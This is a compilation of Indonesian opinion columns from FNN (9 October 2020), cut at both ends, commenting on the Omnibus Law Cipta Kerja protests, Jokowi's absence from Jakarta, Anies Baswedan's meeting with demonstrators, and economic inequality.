Wallahu'alam. Salam Indonesia Jaya! Penulis adalah Direktur Eksekutif Tanhana Dharma Mangruva Institute.

Bermimpi Menjadi Kepala Negara Negeri Dongeng

by Anthony Budiawan Jakarta FNN – Jum’at (09/10). Saya bermimpi menjadi Kepala Negara di Negeri Dongeng. Ketika itu, keadaan negara dan kondisi sosial sangat menyedihkan. Amburadul. Perbedaan sosial sangat menyolok. Di satu sisi, rumah gubuk tidak layak huni terpampang sejauh mata memandang. Di lain sisi, gedung bagaikan istana berjejeran dijaga petugas penjaga keamanan. Ekonomi Negeri Dongeng dikuasai sekelompok kecil kapitalis. Jumlahnya di bawah 1 persen penduduk. Bahkan mungkin hanya 0,5 persen. Mereka menguasai seluruh sektor ekonomi, termasuk sumber daya alam. Dari sumber daya mineral sampai sumber daya perkebunan. Jumlahnya berjuta-juta hektar. Kapitalis di Negeri Dongeng menguasai hampir 60 persen pendapatan nasional. Padahal jumlah mereka paling hanya ratusan ribu orang saja. Sedangkan pekerja yang jumlahnya sangat besar hanya menikmati sekitar 30 persen pendapatan nasional. Jumlah pekerja bisa sampai seratus juta orang lebih. Maklum, Negeri Dongeng yang padat penduduk. Kaum pekerja hanya mendapat remah-remah ekonomi. Kondisi ini terbalik dengan di Negeri Seberang. Di sana pekerja menikmati 50 hingga 70 persen pendapatan nasional. Pengusaha hanya dapat 20 hingga 30 persen saja. Memang Negeri Dongeng menyedihkan. Daya saing ekonomi Negeri Dongeng sangat lemah. Neraca perdagangan defisit, neraca transaksi berjalan defisit. Devisa mengalir keluar. Kurs RND (Mata Uang Negeri Dongeng) seharusnya terdepresiasi. Tapi di-doping terus dengan utang luar negeri untuk menutupi devisa yang mengalir ke luar negeri akibat defisit transaksi berjalan menahun. Tidak heran, utang luar negeri meningkat tajam. Keuangan Negeri Dongeng sangat lemah. Penerimaan pajak sangat rendah. Anggaran keuangan negara defisit terus menerus. Utang negara pun membengkak. Untuk bayar bunga harus dari utang lagi. Keuangan negara praktis bangkrut. Makanya, kepala negara Negeri Dongeng mendikte Bank Dongeng, nama Bank Sentral Negeri Dongeng, untuk membantu keuangan negara melalui cetak uang. Masyarakat berpendapat para kapitalis Negeri Dongeng sangat serakah. Mereka menguasai semua elemen negara. Dari eksekutif, legislatif sampai yudikatif. Sistem politik ini mencerminkan sistem kekuasaan. Selain membagi-bagi kekuasaan, rakyat curiga mereka membagi-bagi uang anggaran negara. Tentu saja melalui mega proyek. Sedangkan hukum hanya tajam ke rakyat jelata, tetapi tumpul kepada penjilat kekuasaan. Kapitalis dan kartel penguasa sangat serakah. Pekerja yang hanya menikmati remah-remah ekonomi masih mau diperas lagi. Hak mereka masih mau dirampas, untuk kembali ke era perbudakan. Dalam kondisi ekonomi dan politik yang kacau seperti itu, saya berhasil memenangi pemilihan kepala negara. Karena sepertinya rakyat sudah muak terhadap rezim oligarki kekuasaan, oligarki- tirani. Pada saat kampanye saya hanya berjanji tiga hal saja. Tidak banyak. Tidak sampai 60 janji. Pertama mengembalikan kedaulatan rakyat yang terampas. Kedua, menegakkan hukum seadil-adilnya bagi semua orang tanpa kecuali. Termasuk penegakan hukum bagi pejabat dan penguasa. Ketiga, memberi keadilan ekonomi dan kesejahteraan bagi rakyat yang sekarang hanya menerima remah-temah ekonomi. Fungsi legistor dikembalikan seutuhnya sebagai wujud kedaulatan rakyat. Legislator harus bekerja demi kepentingan rakyat dan bangsa. Pemilihan anggota legislator yang bermain uang akan diproses hukum, dengan ancaman penjara seumur hidup atau hukuman mati. Partai yang minta mahar didiskualifikasi dengan ancaman dibubarkan. Pemimpinnya akan diproses hukum dengan ancaman hukuman mati. Dalam debat pemilihan kepala negara saya ditanya bagaimana memberantas korupsi yang sudah masif di Negeri Dongeng. Saya mengatakan, saya akan mengusulkan hukuman mati bagi pejabat hukum yang terbukti melakukan korupsi. Ancaman hukuman mati bagi pejabat hukum yang memainkan hukum demi uang, alias memperdagangkan hukum. Ancaman hukuman mati juga berlaku bagi pembela hukum swasta yang mencoba menyuap pejabat hukum negara. Ancaman hukuman mati juga belaku bagi pejabat pembuat perangkat hukum, atau legislator, yang menerima imbalan materi untuk membuat peraturan hukum yang merampok hak rakyat dan negara. Karena hukum adalah segalanya bagi kehidupan bangsa dan negara. Penegakan hukum dan penegakan keadilan merupakan penegakan hak azasi manusia yang hakiki, tanpa melihat status sosial. Seketika saya mendapat aplaus hangat dari para penonton. Pembangunan ekonomi fokus pada tiga hal utama. Perbaikan transaksi berjalan, perbaikan keuangan negara atau fiskal, perbaikan kesejahteraan rakyat dan kesenjangan pendapatan. Pembangunan ekonomi dimulai dengan mewujudkan kedaulatan industri. Artinya, bahan baku (input) produksi pada setiap tahapan industri dan kebutuhan konsumsi domestik sebisa mungkin dipenuhi dari dalam negeri. Pengusaha dalam negeri yang harus berperan lebih besar dalam pembangunan ekonomi. Ekspor juga harus ditingkatkan, khususnya ekspor berbasis produk manufaktur. Kedaulatan industri membuat neraca transaksi berjalan membaik. Tekanan utang luar negeri berkurang. Pajak penghasilan harus ditata ulang untuk mewujudkan kedaulatan fiskal dan memperbaiki kesenjangan sosial. Reformasi pajak penghasilan perlu segera dijalankan. Pajak penghasilan progresif perlu diberlakukan sehingga orang kaya dan super kaya dapat membayar pajak lebih adil. Reformasi pajak penghasilan akan meningkatkan pendapatan negara, membuat keuangan negara menjadi lebih mandiri. Saat ini pajak penghasilan orang kaya dan super kaya yang berasal dari laba perusahaan relatif rendah. Hal ini membuat penerimaan pajak negara rendah. Kedaulatan fiskal akan mengurangi kesenjangan sosial. Kedaulatan fiskal memungkinkan pemerintah melakukan transfer payment, yaitu subsidi pendapatan kepada masyarakat miskin dan masyarakat berpendapatan rendah. Pemusatan kekuatan ekonomi, monopoli dan oligopoli, sangat merugikan konsumen dan rakyat. Oleh karena itu, praktek monopoli dan oligopoli harus dilarang. Persaingan yang lebih sehat diharapkan membangkitkan ratusan ribu pengusaha kelas menengah. Semoga Negeri Dongeng menjadi lebih manusiawi dan lebih sejahtera bagi seluruh rakyatnya. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

Anies Bukan Pengecut!

by Tony Rosyid Jakartta FNN – Jum’at (09/10). Tengah malam, tanggal 5 oktober 2020 RUU Omnibus Law Cipta Kerja (Cilaka) diketuk dan disahkan menjadi UU. Kenapa tengah malam? Kenapa harus di luar waktu yang berlaku untuk orang umum orang bekerja? Sangat mendesakkah? Pertanyaan-pertanyaan itu terus ada di pikiran rakyat hari ini. Rakyat protes. Terutama kaum buruh, mahasiswa, pelajar, dan ormas Islam. Esok harinya, tanggal 6 Oktober 2020, demo terjadi di berbagai wilayah. Serentak. Tumpah ruah mahasiswa, pelajar, buruh dan sebagian aktifis di depan istana, kantor kepala daerah, DPR dan DPRD. Di sejumlah wilayah, para pendemo bersitegang dengan aparat kepolisian. Saling dorong, dan lempar batu. Sejumlah demonstran kena gebuk, tonjokan dan tendangan aparat. Entah sudah berapa korban berjatuhan. Mobil dan fasilitas umum juga ada yang terbakar. Rusuh! Siapa pemicunya? Demonstran selalu disalahkan! Satu tuntutan mereka, “Omnibus Law dibatalkan”. Titik! Kenapa? Pertama, cacat prosedur. Memang ada diskusi. Panggil buruh, perwakilan ormas dan para akademisi yang kompeten untuk ikut membahasnya. Tetapi, semua hasil diskusi dicatat, dijanjikan, tapi setelah itu dibuang ke tong sampah. Pasal-pasal yang diprotes tetap masih ada saat diketuk menjadi UU. Kedua, sejumlah pasal UU Omnibus Law Cipta Kerja merugikan rakyat. Diantaranya kaum buruh dan lembaga pendidikan. Hak-hak mereka dipreteli. Pesangon ada, tapi berkurang. Upah minimum ada, tapi disesuaikan dengan korporasi. Soal PHK, perusahaan lebih leluasa. Kontrak kerja bisa diperpanjang terus-menerus. Belum lagi soal cuti dan seterusnya. Dua sasaran protes demo kali ini. Pertama, DPR. DPR lah yang mengesahkan UU Omnibus Law Cipta Kerja ini. Kedua, presiden. Sebab, UU Omnibus Law Cipta Kerja berasal dari pemerintah. Pemerintah yang mengusulkan ke DPR. Dalam pembahasan di DPR, presiden utus sejumlah menteri untuk hadir dan mengawalnya. Disinilah tampak kerjasama yang kompak antara pemerintah dan DPR. Antara eksekutif dan legislatif. Irama kekompakan ini sebenarnya sudah terbaca saat keduanya bersepakat "matikan KPK" melalui revisi UU. Saat itu, demo meluas dan dua mahasiswa kendari jadi korban. Peristiwa itu seolah sudah terlupakan. Para pendemo minta presiden menemui mereka, dengarkan aspirasii dan tuntutanya. Tapi, presiden tak ada di tempat. Mungkin bagi presiden, UU Omnibus Law Cipta Kerja sudah diketuk dan disahkan. Jadi, untuk apa dibahas lagi. Kehadiran perwakilan mahasiswa, buruh dan ormas untuk ketemu presiden sepertinya dianggap tidak terlalu penting. Jokowi justru memilih ke Kalimantan Tengah, setelah lebih dulu ke Jogja dan nginep di Gedung Agung. Sempat berziarah ke makam ibu dan bapaknya. Peristiwa ini dimaknai Ki Surau sebagai langkah untuk ambil kekuatan Spiritual, agar nggak lengser. Rakyat nggak kenal siapa Ki Surau ini. Validkah fatwanya? Kepergian Jokowi ini mengingatkan memori kita pada demo 411 (4 november 2016) terkait penistaan agama (Ahok). Perwakilan ulama minta ketemu Jokowi di Istana. Tapi, karena dianggap nggak terlalu penting, Jokowi lebih memilih pergi ke Cengkareng, menengok project kereta bandara. Para ulama kecewa, dan meledaklah demo 212. Sekitar tujuh juta umat Islam hadir. Apakah mahasiswa, pelajar, buruh dan ormas yang kecewa karena ditinggal pergi Jokowi ke Jogja dan Kalimantan Tengah? Apakah mereka akan datang lagi dengan massa yang jauh lebih besar sebagaimana demo 212? Seberapa besarkah spirit dan semangat para mahasiswa, buruh dan ormas ini memperjuangkan aspirasinya? Ini akan sangat bergantung seberapa besar keteguhan para pimpinan mahasiswa, sebagai pihak yang mengkonsolidasikan massa, baik BEM maupun organisasi ekstranya seperti HMI dan PMII untuk tetap konsisten menjaga idealismenya dalam memperjuangkan nasib rakyat. Tidak "nglokro" dan masuk angin. Sebab, penguasa tidak akan diam dan intel akan terus bergerilya. Tawaran dan ancaman boleh jadi ddatang silih berganti. Di tengah kekecewaan buruh, pelajar, terutama mahasiswa yang gagal menemui Jokowi di Istana, Anies, gubernur DKI Jakarta turun ke lapangan. Di malam hari. Saat kekecewaan mereka membucah dan sempat menaikkan eskalasi ketegangan antara para demonstran dengan aparat keamanan. Di tengah ratusan, mungkin ribuan massa, Anies yang didampingi Kapolda Metro Jaya dan Pangdam Jaya minta kepada mereka menyampaikan aspirasinya. Satu persatu hingga tuntas. Para mahasiswa yang hadir malam itu antusias menyampaikan harapannya. Mahasiswa keluarkan semua uneg-unegnya. Detil dan lengkap dengan data pendukung . Mantan ketua BEM UGM yang sudah jadi orang nomor satu di DKI ini dengan serius dan sabar mendengarkannya. Setelah semua aspirasi tersampaikan, Anies dengan tenang bicara kepada mereka. "Semua aspirasi ini sudah direkam dan dipastikan akan disampaikan. Mohon untuk dikawal dan dipantau. Ini bagian dari hak demokrasi kita". Begitu kata Anies. Anies juga sarankan kepada yang hadir malam itu untuk pulang dengan tertib. "Memperjuangkan hak rakyat harus dengan menjaga rasa aman bagi seluruh rakyat. Pastikan masyarakat merasa aman dan nyaman. Maka, Anies minta para demonstran tetap tertib. Sebelum mengajak para mahasiswa itu pulang, Anies meminta semua yang hadir berdiri dan menyanyikan lagu "padamu negeri". Kenapa lagu "padamu Negeri"? Apa pesan dari ajakan Anies dengan lagu ini? "Bahwa kita semua hadir disini berjuang untuk negeri ini. Berjuang dengan jiwa raga yang dimiliki". Begitulah kira-kira pesannya. Anies ingin para mahasiswa menjaga Komitmennya dan terus berjuang dengan segenap jiwa dan raga untuk negeri ini. Baik ketika masih mahasiswa, atau kelak ketika lulus dan punya posisi sebagai pejabat. Lagu "Padamu Negeri" harus bergelora dan menjadi nafas serta jiwa pengabdian. Itu intinya. Diterima dan didengarkan aspirasinya, mahasiswa tenang dan senang. Merasa didengarkan, diperhatikan, dihargai dan diayomi. Begitulah semestinya seorang pemimpin bersikap. Inilah yang dilakukan Anies ketika menghadapi setiap protes rakyat. Tidak pergi, lari dan meninggalkan warganya. Sebab, Anies bukan Pengecut. Pengamat Politik dan Pemerhati Bangsa

Jokowi Di Ujung Tanduk

by M Rizal Fadillah Bandung FNN – Jum’at (09/10). Ulang tahun satu tahun bagi Jokowi menjabat Presiden periode kedua bulan Oktober ini, tidak dalam posisi "happy anniversary". Tetapi sebaliknya justru "unhappy anniversary". UU Omnibus Law Cipta Kerja (Cilaka) yang diketuk DPR sebagai hadiah ulang tahun pertama priode kedua menjadi palu godam politik yang membuat Jokowi pusing dan ruwet. Berjalan pun Jokowi nampaknya bakal limbung. Demonstrasi masif yang menandai "Oktober Prihatin". Jengkel, kecewa bahkan mungkin muak pada cara Jokowi mengelola negeri. Tata kelola pemerintahan yang terlihat amburadul, amatiran, kacangan. Bahkan cenderung primitif. Jauh dari tata kelola pemerintahan mendekati benar. Apalagi sampai profesional. Perencanaan dan kebijakan yang asal-asalan dan amatiran telah memberi bukti bahwa manajemen pemerintahan Jokowi tanpa perencanaan yang matang dan konsisten. UU Omnibus Law Cilaka hanyalah salah satu cara mempermainkan hukum demi kepentingan politik. Disangkanya dengan otak-atik legitimasi Pilpres, maka segalanya beres. Nampaknya Jokowi tidak mengenal apa dan bagaimana yang namanya sejarah. Mengabaikan dan memusuhi rakyat adalah hitungan mundur untuk dimundurkan. Manggali kolam atau lobang besar untuk menguburkan sendiri pemerintahan. Jokowi sebaiknya belajar dari sejarah. Paling kurang dari belajar dari sejarah kegagalan Soekarno dan Soeharto. Jokowi goyah di ujung tanduk, karena bermain-main untuk merealisasikan misi sesat. Diawali dengan memusuhi umat Islam melalui rekayasa Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP), yang digagas atau diprakarsai oleh kader PDIP melalui kadernya Rieke Dyah Pitaloka. Akibatnya umat Islam melalui Organisasi Kemasyarakatan (Ormas) Islam meradang. Umat Islam tampil memberikan perlawanan.hingga Majelis Ulama Indonesia (MUI) yang pada biasanya berada di "tengah" pun membuat "political distancing" dengan pemerintah. MUI mngeluarkan produk Maklumat yang cukup keras. Bahkan menyaipkan Panglima Masiroh Qubro. Umat Islam telah memukul keras RUU HIP agar masuk gorong-gorong. Sementara RUU badan Pembinaan Ideologi Pancasila (BPIP) layu sebelum berkembang. Keduanya dalam keadaan "hidup segan mati tak mau". Mundur kena maju kena. Hal ini adalah akibat dari ulah DPR yang mempersetankan aspirasi rakyat, dan terjebak pada domein kekuasaan dan mungkin juga besaran bayaran. Banteng coba menanduk rakyat dengan beringas. Tanduk satu RUU HIP-BPIP yang berbau komunis. Setelah itu tanduk lagi RUU Omnibus Law Cipta Kerja yang berbau kapitalis. Lagi-lagi Ideologi Pancasila dicoba untuk digoyahkan. Presiden yang loncat-loncat dari tanduk kiri ke tanduk kanan. Mencoba berpegangan erat untuk tidak jatuh. Ada saatnya rakyat melawan rezim. Rezim yang menganggap aspirasi rakyat sesuatu yang enteng. Sejarah bergulir menuju ke arah perubahan. UU Omnibus Law Cilaka adalah pintu pembuka gelombang rakyat melawan kesewenang-wenangan. Jokowi semakin di ujung tanduk. Banteng Puan lesu tertunduk. Cari celah simpati dengan aturan turunan. Tapi itu mempertontonkan kebodohan. Aturan derivasi tak boleh bertentangan dengan undang-undang. UU Omnibus Law membawa malapetaka. Tanduk Joko dan tanduk Puan mulai retak hampir patah. Saat ini Jokowi berada di ujung tanduk, dari banteng yang dikendarainya. Mungkinkah Esok bakal terpeleset? Terinjak-injak kah? Atau terjatuh ke pasir hisap yang menenggelamkan kekuasaannya dengan pelan-pelan? Penulis adalah Pemerhati Politik dan Kebangsaan.

Forbest Tangsel Minta UU Cilaka Dicabut

by Tjahja Gunawan Serpong FNN - Jumat (09/10). Forum Bersama Tangerang Selatan atau Forbest bersama seluruh elemen masyarakat yang bergabung di dalamnya menolak dan meminta UU Cipta Lapangan Kerja dicabut. Forbest juga menyerukan kepada pemerintah dan DPR untuk menghentikan berbagai pembahasan UU dan pembuatan kebijakan kontroversi yang memancing reaksi keras dari masyarakat. Selain itu, Forbest juga menyerukan kepada pemerintah dan DPR untuk fokus pada penanganan pandemi Covid19. Penolakan dan seruan tersebut disampaikan penanggungjawab Forbest Martha Bachtiar dan Susan San Soesilawati di Serpong, Tangsel, Kamis sore (8/10). Seperti diketahui, pasca pengesahan UU Cipta Lapangan Kerja oleh DPR padà sidang paripurna Senin malam (5/10) telah memancing penolakan dalam bentuk pernyataan sikap dan unjuk rasa dari kalangan buruh, mahasiswa, pelajar dan elemen masyarakat lainnya secara luas. UU tersebut diusulkan oleh Pemerintah dan ditetapkan oleh DPR-RI . Martha Bachtiar mengungkapkan, Forbest menilai UU Cilaka sangat berpotensi merugikan bangsa Indonesia khususnya kalangan pekerja. Sementara penguasaan sumber daya alam justru dikuasai penguasa besar dan pemodal asing. UU Cipta Lapangan Kerja hanya memberi kemudahan dan pelonggaran bagi pihak asing dalam penguasaan aset dan sumber daya alam. "UU tersebut membuka seluas luasnya masuknya tenaga kerja asing ke seluruh sektor bisnis dan industri pada setiap level dan kompetensi tanpa batasan dan aturan yang jelas, sehingga mengurangi peluang dan tidak memberikan kesempatan bersaing secara adil kepada Tenaga Kerja Indonesia untuk mendapatkan pekerjaan dan upah yang layak di negerinya sendiri," ungkap Martha Bachtiar. Ketidakjelasan dan berkurangnya hak hak buruh dan pekerja dalam hak cuti, pesangon, outsourcing, PHK, UMR, training dan lebih berpihak kepada kepentingan pengusaha dan mengabaikan nilai-nilai kemanusiaan Menurut Martha, sangsi hukum bagi pihak yang melanggar UU tersebut tidak jelas sehingga berpotensi menimbulkan ketidakadilan, ketidakteraturan dan kerusakan pada seluruh sektor ekonomi, sumber daya alam dan sumber daya manusia Selain itu, pembahasan UU yang tidak transparan dan terburu-buru dengan tidak melibatkan para ahli dan masyarakat luas untuk memberikan masukan dan aspirasi dalam perumusan undang undang tersebut sangat berpotensi menguntungkan pihak pemodal dengan mengabaikan kepentingan bangsa dan negara. Proses pengambilan keputusan yang secara kasat mata tidak mencerminkan budaya bermusyawarah yang baik dan arogansi sepihak dari pimpinan DPR-RI adalah merusak nilai etika dan moral bangsa serta mengabaikan fungsi DPR yang seharusnya menampung aspirasi rakyat melalui wakil-wakilnya dalam perumusan dan penetapan UU. Penetapan UU Cipta Lapangan Kerja yang telah memicu gelombang kemarahan dan unjuk rasa kaum buruh, mahasiswa, pelajar dan masyarakat luas justru memunculkan masalah baru yang semakin membahayakan stabilitas politik dan ekonomi di tengah permasalahan pandemic COVID-19. Penulis adalah Wartawan Senior FNN. co.id

Jokowi Lebi Pentingkan Bebek Dari Persoalan Rakyat

by Gde Siriana Yusuf Jakarta FNN – Jum’at (09/10). Semestinya hari Kamis kemarin 8 Oktober 2020, Presiden Jokowi menemui mahasiswa yang hendak berunjuk rasa memprotes ke istana negara terkait pengesahan UU Omnibus Law Cipta Kerja (Cilaka) yang telah disahkan DPR. Undangan aksi yang telah disosialisasikan beberapa hari sebelumnya melalui media sosial dan media online. Tentu kabar ini juga sudah diketahui pihak Istana. Tetapi pada hari yang sama Presiden Joko memutuskan tetap melakukan kunjungan kerja ke Provinsi Kalimantan Tengah (Kalteng). Pagi harinya, di akun Instagram @jokowi pada Kamis 8 Oktober 2020 Jokowi menegaskan acaranya. “Selamat pagi. Hari ini saya menuju Kalimantan Tengah untuk kunjungan sehari. Setiba di Bandara Tjilik Riwut, Kota Palangka Raya, saya melanjutkan perjalanan dengan helikopter menuju Kabupaten Pulang Pisau...Di sana saya hendak meninjau kawasan lumbung pangan yang sedang kita kembangkan, berikut penanaman padi, keramba ikan, serta peternakan bebek yang terletak di Kecamatan Pandih Batu”. Ya, mungkin acara Kunker itu sudah disusun jauh-jauh hari. Dan Jokowi tetap menjalankan rencananya, meski situasi di masyarakat berubah sejak UU OmnibusLaw Cipta Kerja disahkan DPR. Hal itu bisa dilihat dari keterangan yang disampaikan pihak istana bahwa Kunker Jokowi tak ada hubungannya dengan rencana aksi mahasiswa ke istana negara. Kesimpulannya, memang Jokowi tidak pernah ingin menemui mahasiswa yang berunjuk rasa hari ini. Seperti pernah terjadi dalam peristiwa demontrasi 411. Saat itu, Jokowi meninggalkan Istana, justru di saat jutaan masyarakat mendatangi istana untuk menemui presidennya. Padahal sebagai presiden, Jokowi seharusnya mampu memilah mana yang prioritas untuk ditemui dan diselesaikan. Sila ke-4 Pancasila, Kerakyatan yang dipimpin oleh hikmat kebijaksanaan dalam permusyawaratan/perwakilan, adalah narasi kepemimpinan yang berpengetahuan luas. Pemimpin yang berpengalaman hidup, sehingga memiliki kebijaksanaan. Bukan hanya memutuskan sesuatu masalah, tetapi juga mengajak rakyat berdialog dalam proses pengambilan keputusannya melalui musyawarah perwakilan. Kepemimpinan sama tuanya dengan sejarah manusia. Khalifah Umar bin Khattab Radiallahu Anhu pernah memberikan nasihat kepada kita. Amirul Mukminin mengajarkan, bagaimana seorang pemimpin harus mengambil sikap yang tegas untuk menyelesaikan sebuah masalah. Untuk menyelesaikan suatu masalah, seorang pemimpin hendaknya tidak menyepelekan masalah. Karena, jika masalah itu disepelekan dan tidak diselesaikan, maka dampaknya akan terus menerus. Melihat foto-foto Jokowi hari ini yang menikmati pemandangan bebek-bebek, amatlah ironis dengan pemandangan aksi mahasiswa di berbagai daerah. Apalagi jika foto Jokowi bersama bebek disandingkan dengan kebakaran dan kerusakan yang terjadi saat aksi mahasiswa. Bayangkan saja berapa puluh milyar kerugian material dalam aksi mahasiswa ini, yang sangat mungkin bisa dihindari jika Jokowi bersedia menemui mahasiswa. Peristiwa ini tentunya akan dilihat di berbagai daerah yang dapat menenangkan mahasiswa. Seperti dicontohkan oleh Gubernur Anies Baswedan dan Ridwan Kamil menenangkan para demonstran. Saya kuatir Jokowi telah kehilangan akal sehatnya. Bahkan hilang hati nuraninya sebagai seseorang yang diberikan oleh rakyatnya kepercayaan untuk menyelesaikan seluruh permasalahan bangsa dan negara. Dalam Alkitab, Ayub 12:24 juga tentang kepemimpinan. "Dia menyebabkan para pemimpin dunia kehilangan akal, dan membuat mereka tersesat di padang belantara yang tidak ada jalannya". Jokowi mungkin saja menganggap remeh aksi mahasiswa. Ya mereka memang sekumpulan remaja, tak bersenjata pula. Mengapa harus ditakuti. Ibarat sekumpulan domba-domba yang jinak. Tapi Jokowi harus membaca quote Alexander The Great, "Aku tidak takut pada pasukan singa yang dipimpin oleh domba. Aku takut akan pasukan domba yang dipimpin oleh seekor singa.” Penulis adalah Direktur Eksekurif Indonesian Future Studies (INFUSS)

Anak-Anak Revolusi Bergerak

by Dr. Syahganda Nainggolan Jakarta FNN – Jum’at (09/10). Risma, walikota Surabaya memaki maki seorang remaja yang dijaring demo di Surabaya. Anak ini berasal dari Madiun. Risma marah karena kota Surabaya rusak gara-gara demo tolak Omnibus Law Cilaka datang dari luar kota. Menurutnya, seharusnya demo itu di Madiun saja, jangan anak itu datang ke Surabaya. Di jakarta, Anies Baswedan mendatangi demonstran. Kebakaran halte busway dan MRT mencapai 15 halte. Anies senyum menghadapi demonstran di bundaran Hotel Indonesia (HI), minta anak-anak muda itu membubarkan diri. Namun, Anies mengingatkan kalau mau melanjutkan demo, silakan besok lagi. Hari kemarin puluhan ribu mahasiswa dan buruh di Bandung mengepung Gedung Sate. Bentrokan dengan aparat keamanan terjadi. Keganasan anak-anak muda itu ditunjukan secara bringas menginjak-injak mobil yang dan brikade lainnya yang menghalangi mereka. Video beredar mahasiswa tersebut diperbolehkan beberapa tentara membacakan tuntutan mereka di malam hari. Kemarin dan hari ini sesungguhnya semua daerah para bergejolak. Anak-anak muda belia SMA dan STM, mahasiswa dan juga kaum buruh perempuan mengamuk dari Sabang sampai Merauke. Puluhan konfederasi dan federasi Serikat Buruh meminta semua buruh di manapun mogok kerja. Jakarta tentu jelas pusat pergolakan. Bukan saja buruh dan mahasiswa. Namun anak-anak STM dan SMA tampil juga sebagai kelompok militan. Mahasiswa-mahasiwa merasa menjadi kakak senior yang bangga menyambut anak-anak STM dan SMA itu. Memberi mereka jalan untuk masuk ke barisan. Buruh, mahasiswa, pemuda dan anak-anak remaja (STM/SMA) tampil sekarang melakukan gerakan perlawanan terhadap rezim Jokowi. Isu yang diusung adalah penolakan atas Omnibus Law. Berbagai pihak meragukan pemahaman mahasiswa dan anak-anak STM/SMA ini memahami UU Omnibus Law itu. Sebab, mereka dianggap terlalu rendah pengetahuannya tentang UU 906 halaman itu. Namun, tentu bisa saja keraguan itu datang juga ketika puluhan ribu orang-orang muda itu meneriakkan revolusi di depan Istana. Apakah memang mahasiswa dan pemuda-pemuda itu bodoh-bodoh alias tidak nyambung? Kenapa mereka dianggap belum paham, namun meneriakkan revolusi ???? Airlangga Hartarto, Menko Perekonomian dan Ketua Umum Golkar, memberikan statemen bahwa mereka ditunggangi. Airlangga menyebutkan sudah mengantongi kelompok penunggang tersebut. Selanjutnya Mahfud MD dan jajaran pejabat keamanan negara menyatakan akan menindak tegas pendemo. Mahfud dan jajarannya mewakili Jokowi, karena Jokowi meninggalkan ibukota ketika demonstrasi meluas di Jakarta. Heroisme dan Unconsciousness Mind Mengkambing hitamkan dan menyepelekan serta dianggap ditunggangi para aktor kepada anak-anak STM, SMA atau Mahasiswa terlalu menyepelekan situasi. Kaum buruh memang vis a vis dengan kekuasaan Jokowi, karena nasibnya dimarginalisasi sampai hancur. Lalu kenapa dengan mahasiswa? Kenapa remaja STM/SMA? Kesadaran manusia atas situasi dalam teori psikoanalisis terdiri dari kesadaran nyata maupun kesadaran di bawah nyata (unconsciousness). Unconsciousness itu adalah sebuah kesadaran yang terpendam. Anak-anak STM dan SMA yang dipukuli serta dipenjara pada November 2019 lalu, ketika demo di DPR-RI menolak revisi UU KPK telah memendam sebuah kesadaran bawah nyatanya tentang kekejaman terhadap mereka. Begitu juga kekejaman yang dialami anak-anak remaja pada demo 21/22 Mei 2019 paska pilpres. Jaman internet of things sekarang ini, jejak digital, dan pengetahuan anak-anak muda atas situasi dengan mudah masuk ke pikiran mereka. Namun, realitas ini tidak mudah dikonstruksi anak-anak muda ini dalam dunia nyata. Baik karena faktor ketakutan, maupun lainnya. Namun, kesadaran itu tidak hilang. Dia dapat berupa dendam. Namun, dapat juga sebagai sebuah kesadaran nyata ketika bertemu momentumnya. Seperti situasi sekarang ini. Dendam maupun kesadaran yang bergeser jadi nyata. Menurut saya, telah terjadi pada anak-anak belia ini. Pemahaman mereka atas UU Omnibus Law mungkin terbatas. Namun, mereka memaknai gerakan penolakan kaum buruh sebagai sebuah kebenaran, karena sebuah versus antara buruh dengan pemerintah, membuat mereka lebih yakin dengan buruh. Apalagi berbagai faktor kegagalan pemerintah dalam urusan kesehatan dan situasi krisis ekonomi berkelanjutan membuat hampir semua rakyat depresi. Unconscious Mind yang bergeser nyata berimpit dengan semangat anak-anak muda, yang dalam sejarahnya menginginkan sebuah heroisme. Perasaan membela nasib bangsa dalam situasi bangsa yang sulit, muncul begitu besar. Seorang Mahasiswi yang dipukuli aparat, yang tersebar dalam video beredar, misalnya, akan memunculkan heroisme. Karena mereka merasa di front depan bertempur dengan kekuasaan. Heroisme bagi kaum buruh tentu saja juga terjadi. Sebab mereka sedang membela nasibnya. Namun, kesadaran kaum buruh adalah kesadaran nyata. Mereka mempunyai organisasi dan elit-elit buat mengkaji pasal-pasal yang merugikan pada Omnibus Law. Bagimana kalangan kampus? Professor dan dosen-dosen dari berbagai perguruan tinggi sudah banyak mengecam UU Omnibus Law ini. Kesadaran mereka juga nyata. Tentu saja sebagai cendikiawan mereka harus memilih apakah tetap berada di "menara gading" atau menyuarakan kebenaran. Saat ini semakin nyata perlawanan dari kalangan perguruan tinggi semakin menggema dan meluas. Faktor ini juga mendukung keberadaan gerakan mahasiswa dan remaja tadi. Sekali lagi, menuduh adanya aktor penunggang tentu menyepelekan analisis situasi saat ini. Meskipun berbagai ekses telah terjadi, seperti pembakaran, pengrusakan berbagai fasilitas maupun penjarahan dibeberapa tempat. Anaka-anak muda ini adalah anak-anak revolusi. Seperti anak-anak muda di Thailand dan Hongkong, mereka tampil gagah dijalanan berdemonstrasi. Sebagiannya disiksa aparat, sebagiannya ditangkap. Namun, perlawanan mereka kelihatannya sudah mempertimbangkan resiko. Kenapa? resiko terbesar adalah keluar rumah berkerumun di masa covid-19. Resiko pandemi hanya berani diambil oleh orang-orang tolol atau orang sadar. Tentu saja demonstrasi mahasiswa dan SMA ini punya tujuan. Begitu juga kaum buruh. Sehingga resiko yang diambil pasti dipilih dengan mempertimbangkan tujuan kemanusian yang mulia. Kedua, resiko dipukulin aparat sudah bukan hal baru bagi anak-anak muda itu. Justru mereka sudah melihat ganasnya aparat dalam menangani demo. Bahkan, berita terbengis terakhir adalah mahasiswa demo di Kendari dibubarkan dengan Helikopter, sebuah keganjilan baru di dunia. Mereka adalah anak-anak revolusi. Karena mereka berani mengambil resiko besar baik pandemi maupun kekejaman aparat. Mereka telah menyadari tujuan dari demonstrasi itu sendiri, yakni membela hak-hak rakyat. Penutup Demonstrasi anak-anak muda belia berkibar di seantero Indonesia. Orang-orang tua sebagian menangis melepas anak-anak itu menemukan kekerasan di jalanaan serta juga resiko Covid-19. Risma memaki-maki anak anak muda itu karena dari luar Surabaya merusak kotanya Risma. Anies Baswedan tersenyum minta anak-anak muda pulang dulu sudah malam. Airlangga Hartarto menuduh ada penunggang. Mahfud MD menuduh ada aktor aktor dan akan ditindak tegas. Perlawanan mahasiswa, buruh dan anak-anak STM/SMA ini adalah peristiwa revosioner dalam sejarah. Sebab, resiko perjuangan terlalu besar dan tujuan perjuangannya terlalu mulia menolak UU penindasan. Namun, sejarah akan menemukan jalannya sendiri. Revolusi akan mencari jalannya sendiri. Berbagai 